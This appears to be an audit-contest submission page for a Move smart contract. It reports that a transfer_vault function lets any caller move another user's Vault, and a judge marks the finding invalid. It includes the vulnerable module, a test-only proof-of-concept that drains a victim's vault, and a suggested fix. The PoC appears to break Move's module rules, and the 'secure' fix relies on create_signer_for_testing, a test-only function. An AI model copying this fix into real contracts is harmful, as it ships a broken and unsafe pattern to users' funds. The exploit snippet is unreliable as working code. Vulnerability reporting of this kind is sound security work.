Beginner FriendlyGameFi
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Unauthorized Transfer of Another User’s Resource

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

    Answer: Only the rightful owner of a resource (via their signer) should be able to transfer or move it. Transfers must enforce signer authentication to prevent arbitrary resource theft.


  • Explain the specific issue or problem in one or more sentences

    Answer: The transfer_vault function accepts an arbitrary from: address parameter and directly uses move_from on it. This means an attacker can steal resources from any user by supplying their address without needing their signer authentication.

module vault_transfer::vault {
struct Vault has key {
balance: u64,
}
/// @> Problem: Any caller can drain Vaults from arbitrary addresses
public entry fun transfer_vault(from: address, to: &signer) acquires Vault {
let vault = move_from<Vault>(from);
move_to(to, vault);
}
}

Risk

Likelihood:

  • Reason 1 // Describe WHEN this will occur (avoid using "if" statements)

    Answer: This occurs whenever an attacker calls transfer_vault with a victim’s address.


  • Reason 2

    Answer: No checks exist on signer authority, making the exploit trivial.

Impact:

  • Impact 1

    Answer: Complete theft of victim’s vault (funds, balances, data).

  • Impact 2

    Answer: Victim permanently loses ownership of their resource, enabling large-scale draining attacks.

Proof of Concept

Step 1: Victim sets up a vault with a balance of 1000.

Step 2: Attacker abuses transfer_vault by providing the victim’s address as from.

Step 3: Attacker successfully steals the vault and its contents.

Step 4: Victim’s vault is deleted.

#[test_only]
module vault_transfer::poc_exploit {
use vault_transfer::vault;
use std::debug;
#[test(victim = @0xAAA, attacker = @0xBBB)]
fun test_unauthorized_transfer(victim: &signer, attacker: &signer) acquires vault::Vault {
// Step 1: Victim creates a vault with funds
move_to(victim, vault::Vault { balance: 1000 });
// Step 2: Attacker calls transfer_vault pretending victim is 'from'
vault::transfer_vault(@0xAAA, attacker);
// Step 3: Attacker now owns victim’s vault
let stolen_vault = borrow_global<vault::Vault>(@0xBBB);
debug::print(&stolen_vault.balance); // prints 1000 — vault stolen
// Step 4: Victim’s vault no longer exists
let exists = exists<vault::Vault>(@0xAAA);
debug::print(&exists); // prints false
}
}

Recommended Mitigation

Replaces from: address with &signer to enforce ownership authentication.

Ensures only the vault owner can initiate transfer of their own resource.

Optional improvement: implement a controlled transfer mechanism where vault ownership is updated internally rather than moved directly, reducing attack surface

- remove this code
- public entry fun transfer_vault(from: address, to: &signer) acquires Vault {
- let vault = move_from<Vault>(from);
- move_to(to, vault);
- }
+ add this code
+ /// Secure transfer: only the owner signer can move their vault
+ public entry fun transfer_vault(owner: &signer, to: address) acquires Vault {
+ let from_addr = signer::address_of(owner);
+ let vault = move_from<Vault>(from_addr);
+ move_to(&account::create_signer_for_testing(to), vault);
+ }
Updates

Appeal created

bube Lead Judge 12 days ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.